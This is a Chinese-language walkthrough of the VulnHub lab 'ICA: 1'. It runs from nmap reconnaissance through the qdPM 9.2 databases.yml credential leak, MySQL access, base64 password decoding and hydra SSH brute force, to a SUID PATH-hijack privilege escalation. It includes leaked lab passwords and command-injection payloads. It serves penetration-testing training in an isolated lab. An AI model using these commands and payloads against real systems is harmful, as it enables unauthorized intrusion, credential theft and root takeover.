ICA: 1
来自 <ICA: 1 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.150
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.150
开放端口与服务:
- 22/tcp — OpenSSH 8.4p1 Debian 5 (protocol 2.0)
- 80/tcp — Apache httpd 2.4.48 (Debian)(页面:qdPM | Login)
- 3306/tcp — MySQL 8.0.26(auth plugin: caching_sha2_password)
- 33060/tcp — MySQL X protocol (mysqlx)
4,访问80端口开设的http服务
对网站指纹特征进行扫描识别
whatweb -v http://192.168.23.150
5,在网页能看出其使用了一个框架qdPM,检索这个框架的过往漏洞
searchsploit qdPM 9.2
qdPM 概览
- 全称:qdPM (quality dedicated Project Manager)
- 类型:开源的 项目管理/工单管理 (Project Management & Issue Tracking) 系统。
- 开发语言/框架:基于 PHP + Symfony 框架 开发,前端主要是 HTML/CSS/JS。
- 数据库:使用 MySQL/MariaDB 存储业务数据。
- 运行环境:通常部署在 LAMP/LEMP 堆栈上(Linux + Apache/Nginx + MySQL + PHP)。
核心功能
- 任务管理:支持创建、分配、跟踪任务(带优先级、状态流转)。
- 项目管理:能管理多个项目、成员、里程碑。
- 工单系统:适合软件开发团队跟踪 bug、需求。
- 用户角色与权限控制:管理员、项目经理、开发人员、客户等分级权限。
- 评论/协作:任务/项目可带评论、文件附件。
- 报表:进度图表、任务统计、用户工时等。
安全相关点(渗透/审计角度)
- 登录界面暴露:通常 /index.php/login 或 /login 是入口。
- 配置文件:config/databases.yml(旧版本 Symfony)或 .yml/.php 配置文件里存储数据库凭证。
- 默认凭证:某些安装包可能预置 admin 账号(需检查)。
- 潜在漏洞历史:
- qdPM 不常更新,旧版本可能存在 SQL 注入、XSS、认证绕过 等已公开漏洞。
- 由于使用 Symfony 旧版本,存在框架级别的已知漏洞风险。
使用场景
- 中小型软件团队:bug 跟踪、需求管理。
- 内部 IT 部门:工单/任务分配系统。
- 外包团队:为客户提供进度可视化。
简单说,qdPM 就是一个基于 PHP/MySQL 的项目管理和缺陷跟踪系统,功能类似 Redmine、MantisBT,但轻量化、适合小团队。
6,阅读密码泄露漏洞利用的文件
searchsploit -m 50176.txt
漏洞基本信息
- 软件:qdPM 9.2
- 漏洞类型:敏感信息泄露(配置文件直接暴露)
- 影响范围:安装了 qdPM 9.2 且未做额外访问限制的服务器
- 利用条件:无需认证(Unauthenticated)
漏洞细节
qdPM 使用 Symfony 框架,数据库连接配置存放在:
/core/config/databases.yml
http://192.168.23.150/core/config/databases.yml
成功通过这个连接下载到数据库信息文件,这是严重的信息泄露
阅读yaml文件
得到了mysql的账号和密码UcVQCMQk2STVeS6J
7,直接连接mysql
mysql -h 192.168.23.150 -P 3306 -u qdpmadmin -p --ssl=0
show databases;
use staff;
show tables;
select * from user;
select * from login;
由此得到五个账户和五个被base64编码的密码
8,将账户密码写入txt文件,再交由hydra进行ssh爆破(注意账户全部小写)
cat passwd.txt | while read line; do echo "$line" | base64 -d; echo; done
hydra -L user.txt -P passwd.txt ssh://192.168.23.150
travis/DJceVy98W28Y7wLg
dexter/7ZwV4qtg42cmUXGX
9,ssh分别登录两个用户看看
ssh travis@192.168.23.150
得到第一个flag
ssh dexter@192.168.23.150
得到提示:
在我看来,该系统在访问过程中似乎存在一个漏洞。
据我所知,可执行文件的内容部分是可查看的。
我需要查明是否存在安全隐患。
10,在dexter用户上进行信息收集,先查找一下具有root权限的可执行的文件
find / -perm -u=s 2>/dev/null
有一个比较可疑的文件,用strings命令把它的字符串全部打印出来
SUID 程序概览
- SUID 位于 /opt/get_access,说明程序以 文件所有者权限执行(通常是 root)。
- strings 输出显示程序中调用了:
- system
- setuid
- setgid
- socket
- puts
- cat /root/system.info 的内容被提及:
Could not create socket to access to the system.
All services are disabled. Accessing to the system is allowed only within working hours. - 这说明程序里存在 调用 system() 执行命令的逻辑,且可能有条件限制(socket、时间等)。
提权思路分析
a) system() 调用
- system() 是 典型的 SUID 提权入口,如果程序将用户输入传给 system() 而未过滤,攻击者可能 注入命令。
- 例如,如果程序执行:
system(user_input);
那么可以通过:
/opt/get_access "; /bin/sh"
或类似 payload 来获取 root shell。
b) 条件限制
- 输出提示“只能在工作时间访问” → 可能会检查 系统时间,绕过的方法:
- 修改系统时间(如果有权限)
- 使用 LD_PRELOAD 或 环境变量劫持(如果程序不重置 env)
c) 静态分析线索
- strings 显示程序依赖 libc,有 setuid/setgid,说明程序可能:
- 调用 setuid(0) 提升自己权限
- 然后调用 system() 执行命令
- 如果你能控制输入(参数、环境变量),就可能触发 root 权限命令执行。
实操步骤建议
- 尝试查看 SUID 文件帮助信息:
/opt/get_access --help - 分析参数和输入:
- 尝试单引号、分号、反引号等命令注入符:
/opt/get_access ";id"
/opt/get_access "`id`"
/opt/get_access "$(id)" - 查看是否输出了命令执行结果。
- 尝试单引号、分号、反引号等命令注入符:
- 利用环境变量劫持(如果程序调用 system() 并使用 sh):
export PATH=/tmp:$PATH
cp /bin/sh /tmp/sh
chmod +x /tmp/sh
/opt/get_access arg - GDB 或 ltrace 分析:
- 如果可执行文件是 ELF,可以在 Kali 上用:
ltrace /opt/get_access
strace /opt/get_access - 分析调用 system() 的参数,看看是否可控。
- 如果可执行文件是 ELF,可以在 Kali 上用:
安全提示
- 不要直接执行 SUID 提权实验在生产系统,建议在虚拟机/靶机中测试。
- SUID 文件是 Linux 提权的高危点,攻击成功后可获得 root 权限。
11,开始分布提权
1.创建伪命令
echo "/bin/bash" > /tmp/cat
chmod +x /tmp/cat
- 你在 /tmp 下创建了一个可执行文件 cat,内容只是执行 /bin/bash。
- 这是典型的 命令劫持 技术(Command Hijacking)。
- 原理:如果某个 SUID 程序内部执行了 system("cat ...") 或类似命令,并且使用 环境变量 PATH 查找可执行文件,程序会优先调用你放在 PATH 前面的 /tmp/cat。
2.修改 PATH
export PATH=/tmp:$PATH
- 把 /tmp 放在 PATH 的最前面
- SUID 程序在调用命令时会按 PATH 顺序查找可执行文件
- 因此,当程序执行 cat 时,会调用你创建的 /tmp/cat 而不是系统自带的 /bin/cat
3.执行 SUID 程序
/opt/get_access
- 程序内部可能执行类似:
system("cat /root/system.info");
- 因为 PATH 被修改,实际执行的命令是 /tmp/cat → /bin/bash
- /opt/get_access 是 SUID root,因此执行的 /bin/bash 也是 root 权限
- 结果:获得 root shell
原理总结
- SUID 文件 /opt/get_access 拥有 root 权限
- 程序内部调用 system() 或外部命令(如 cat)
- 利用 PATH 劫持:在 PATH 前面放置伪命令
- 当 SUID 程序执行命令时,会运行你的伪命令 → 获得 root shell
核心要点:
- 利用 SUID 的权限继承
- 利用系统对 PATH 的命令查找顺序
- 利用 system() 或类似调用不安全的外部命令
最后成功提权成为root,得到flag